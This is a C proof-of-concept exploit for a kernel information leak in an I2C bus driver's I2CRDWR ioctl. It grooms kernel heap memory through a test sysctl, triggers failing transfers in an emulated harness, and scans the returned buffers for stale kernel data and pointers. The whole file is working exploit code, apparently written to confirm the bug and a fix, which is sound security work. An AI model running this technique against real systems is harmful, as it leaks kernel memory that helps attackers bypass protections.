/*
 * rdwrleak.c -- DF-5558 PoC: I2CRDWR discloses uninitialized kernel
 * heap to userspace when the transfer fails.
 *
 * Target: sys/bus/iicbus/iic.c
 *   :360  m->buf = kmalloc(m->len, M_TEMP, M_WAITOK);   -- no M_ZERO
 *   :361  if (!(m->flags & IIC_M_RD)) copyin(...);      -- RD: never filled
 *   :364  error = iicbus_transfer(parent, buf, d->nmsgs);
 *   :366  for (i = 0; i < d->nmsgs; i++) {
 *   :368          if (m->flags & IIC_M_RD)
 *   :369                  copyout(m->buf, usrbufs[i], m->len);  <-- runs
 *                                                                  even when
 *                                                                  error != 0
 *
 * Environment (see run.sh): DF-5539 family harness loads the REAL
 * iicbus.ko + iicbb.ko + iic.ko on a fake GPIO bit-bang parent whose
 * emulated slave NACKs address 0x6e (bit-bang address byte 0x6e) and
 * ACKs everything else, TXing 0xc0,0xc1,... on reads.
 *
 * Variants exercised:
 *   A) single IIC_M_RD message to the NACKing slave:
 *        iicbus_transfer_gen -> block_read -> iicbus_start NACKs ->
 *        IIC_ENOACK before ANY data byte is clocked -> the freshly
 *        kmalloc'd (uninitialized) m->buf is copyout()d whole.
 *   B) [WR-to-NACKing-slave, RD-to-good-slave]: the generic transfer
 *        stops at message 0's error; message 1's buffer is never
 *        touched by the driver, then copied out.
 *   C) sanity: RD from the ACKing slave must return the emulated TX
 *        pattern 0xc0.. (proves the harness+ioctl plumbing works and,
 *        after the fix, that success-path copyout still happens).
 *
 * Before each A/B attempt the df5558.groom sysctl (groom5558.ko)
 * kmallocs+fills+frees an M_TEMP chunk of exactly the read length with
 * the marker "DF5558STALEHEAP!" + kernel-realm pointer qwords.  If the
 * user buffer comes back containing that marker (and the ioctl
 * returned an error), stale uninitialized kernel heap memory was
 * disclosed to userspace.
 *
 * Usage: rdwrleak [/dev/iic0]
 */

#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/sysctl.h>

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct iic_msg {
	uint16_t	slave;
	uint16_t	flags;
#define	IIC_M_RD	0x0001
	uint16_t	len;
	uint8_t		*buf;
};

struct iic_rdwr_data {
	struct iic_msg	*msgs;
	uint32_t	nmsgs;
};

#define I2CRDWR		_IOW('i', 6, struct iic_rdwr_data)

#define NACK_SLAVE	0x6e	/* emulated slave NACKs this address byte */
#define GOOD_SLAVE	0x50	/* ACKs; read TX pattern starts at 0xc0 */
#define GOOD_SLAVE_RD	(GOOD_SLAVE | 0x01) /* block_read ORs LSB anyway */
#define PREFILL		0xAA

static int	quiet;

static void
hexdump(const void *p, size_t n)
{
	const uint8_t *b = p;
	size_t i;

	for (i = 0; i < n; i += 16) {
		size_t j;
		printf("    %04zx:", i);
		for (j = 0; j < 16 && i + j < n; j++)
			printf(" %02x", b[i + j]);
		printf("\n");
	}
}

static void
groom(int size)
{
	int one = 1, v;
	size_t len = sizeof(v);

	if (sysctlbyname("df5558.groom_size", &v, &len, &size, sizeof(size)) != 0)
		err(1, "sysctl df5558.groom_size (is groom5558.ko loaded?)");
	if (sysctlbyname("df5558.groom_run", NULL, NULL, &one, sizeof(one)) != 0)
		err(1, "sysctl df5558.groom_run");
}

static const uint8_t *
find_marker(const uint8_t *hay, int hlen)
{
	const char *needle = "ALEHEAP!";
	int nlen = 8;
	int i, j;

	for (i = 0; i + nlen <= hlen; i++) {
		for (j = 0; j < nlen; j++)
			if (hay[i + j] != (uint8_t)needle[j])
				break;
		if (j == nlen)
			return (hay + i);
	}
	return (NULL);
}

/* count non-prefill bytes, find marker, count kernel-realm qwords */
static void
analyze(const uint8_t *ub, int size, int *pnonzero, int *pmarker, int *pptrs)
{
	int i, nz = 0, mk = 0, ptrs = 0;

	for (i = 0; i < size; i++)
		if (ub[i] != PREFILL)
			nz++;
	if (find_marker(ub, size) != NULL)
		mk = 1;
	for (i = 0; i + 8 <= size; i += 8) {
		uint64_t q;
		memcpy(&q, ub + i, 8);
		if ((q >> 48) == 0xffff && (q & 0xffffffff) != 0)
			ptrs++;
	}
	*pnonzero = nz; *pmarker = mk; *pptrs = ptrs;
}

static int	/* 1 = leaked */
attempt_rd(int fd, int size, int variant, int use_groom, int verbose)
{
	uint8_t *ub, wbyte = 0x42;
	struct iic_msg msgs[2];
	struct iic_rdwr_data d;
	int nonzero, marker, ptrs, rc;

	ub = malloc(size);
	memset(ub, PREFILL, size);

	if (use_groom)
		groom(size);

	memset(msgs, 0, sizeof(msgs));
	if (variant == 0) {
		/* A: single RD to the NACKing slave (addr byte 0x6e) */
		msgs[0].slave = NACK_SLAVE - 1;	/* block_read ORs LSB -> 0x6e */
		msgs[0].flags = IIC_M_RD;
		msgs[0].len = (uint16_t)size;
		msgs[0].buf = ub;
		d.msgs = msgs;
		d.nmsgs = 1;
	} else {
		/* B: WR to NACKing slave fails -> RD buffer untouched */
		msgs[0].slave = NACK_SLAVE;
		msgs[0].flags = 0;
		msgs[0].len = 1;
		msgs[0].buf = &wbyte;
		msgs[1].slave = GOOD_SLAVE;
		msgs[1].flags = IIC_M_RD;
		msgs[1].len = (uint16_t)size;
		msgs[1].buf = ub;
		d.msgs = msgs;
		d.nmsgs = 2;
	}

	rc = ioctl(fd, I2CRDWR, &d);
	analyze(ub, size, &nonzero, &marker, &ptrs);

	printf("variant=%c size=%-5d groom=%d rc=%d errno=%d "
	    "non-prefill=%-5d marker=%s kptr-qwords=%d%s\n",
	    variant == 0 ? 'A' : 'B', size, use_groom, rc, errno,
	    nonzero, marker ? "YES" : "no ", ptrs,
	    (rc != 0 && nonzero > 0) ? "   <== LEAK (error returned "
	    "yet buffer overwritten)" : "");
	if (verbose && (marker || (rc != 0 && nonzero > 0 && !quiet)))
		hexdump(ub, size > 96 ? 96 : size);

	free(ub);
	return (rc != 0 && nonzero > 0);
}

static int	/* 1 = ok */
attempt_good_read(int fd, int size)
{
	uint8_t *ub;
	struct iic_msg msgs[1];
	struct iic_rdwr_data d;
	int i, rc, ok = 1;

	ub = malloc(size);
	memset(ub, PREFILL, size);
	memset(msgs, 0, sizeof(msgs));
	msgs[0].slave = GOOD_SLAVE;
	msgs[0].flags = IIC_M_RD;
	msgs[0].len = (uint16_t)size;
	msgs[0].buf = ub;
	d.msgs = msgs;
	d.nmsgs = 1;

	rc = ioctl(fd, I2CRDWR, &d);
	for (i = 0; i < size; i++)
		if (ub[i] != (uint8_t)(0xc0 + (i & 0xff)))
			ok = 0;
	printf("sanity: RD from ACKing slave 0x%02x size=%d rc=%d "
	    "pattern_ok=%s first=%02x %02x %02x %02x\n",
	    GOOD_SLAVE, size, rc, ok ? "YES" : "NO",
	    ub[0], ub[1], ub[2], ub[3]);
	free(ub);
	return (rc == 0 && ok);
}

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/iic0";
	int fd, sizes[] = { 256, 512, 1024, 2048 };
	int leaks = 0, tries, i, s;
	int hunted = 0, hn = 0, hm = 0, hp = 0;

	fd = open(dev, O_RDWR);
	if (fd < 0)
		err(1, "open %s", dev);
	printf("opened %s\n", dev);

	/* sanity first: the plumbing must work (unpatched AND patched) */
	if (!attempt_good_read(fd, 16)) {
		printf("SANITY FAILED: harness/plumbing broken\n");
		return (2);
	}

	/* groomed attempts: the decisive marker evidence */
	for (s = 0; s < (int)(sizeof(sizes) / sizeof(sizes[0])); s++) {
		for (tries = 0; tries < 3; tries++) {
			if (attempt_rd(fd, sizes[s], 0, 1,
			    (tries == 0 && s == 0)))
				leaks++;
			if (attempt_rd(fd, sizes[s], 1, 1,
			    (tries == 0 && s == 0)))
				leaks++;
		}
	}
	printf("groomed attempts done: leak_observed=%d\n", leaks);

	/* ungroomed pointer hunt: organic kernel churn reuse */
	for (i = 0; i < 200; i++) {
		uint8_t *ub = malloc(1024);
		struct iic_msg msgs[1];
		struct iic_rdwr_data d;
		int rc, nz, mk, ptrs;

		memset(ub, PREFILL, 1024);
		memset(msgs, 0, sizeof(msgs));
		msgs[0].slave = NACK_SLAVE - 1;
		msgs[0].flags = IIC_M_RD;
		msgs[0].len = 1024;
		msgs[0].buf = ub;
		d.msgs = msgs;
		d.nmsgs = 1;
		rc = ioctl(fd, I2CRDWR, &d);
		analyze(ub, 1024, &nz, &mk, &ptrs);
		if (rc != 0 && nz > 0) {
			hunted++;
			hn += nz; hm += mk; hp += ptrs;
			if (hunted == 1 || hunted == 100) {
				printf("ungroomed hit #%d: non-prefill=%d "
				    "marker=%d kptr-qwords=%d\n",
				    hunted, nz, mk, ptrs);
				hexdump(ub, 96);
			}
		}
		free(ub);
	}
	printf("ungroomed hunt: leak_iters=%d/200 total_nonprefill=%d "
	    "total_markers=%d total_kptr_qwords=%d\n",
	    hunted, hn, hm, hp);

	printf("RESULT: %s\n", (leaks > 0 || hunted > 0) ?
	    "UNINITIALIZED KERNEL HEAP DISCLOSED TO USERSPACE" :
	    "no leak observed");
	close(fd);
	return ((leaks > 0 || hunted > 0) ? 0 : 1);
}
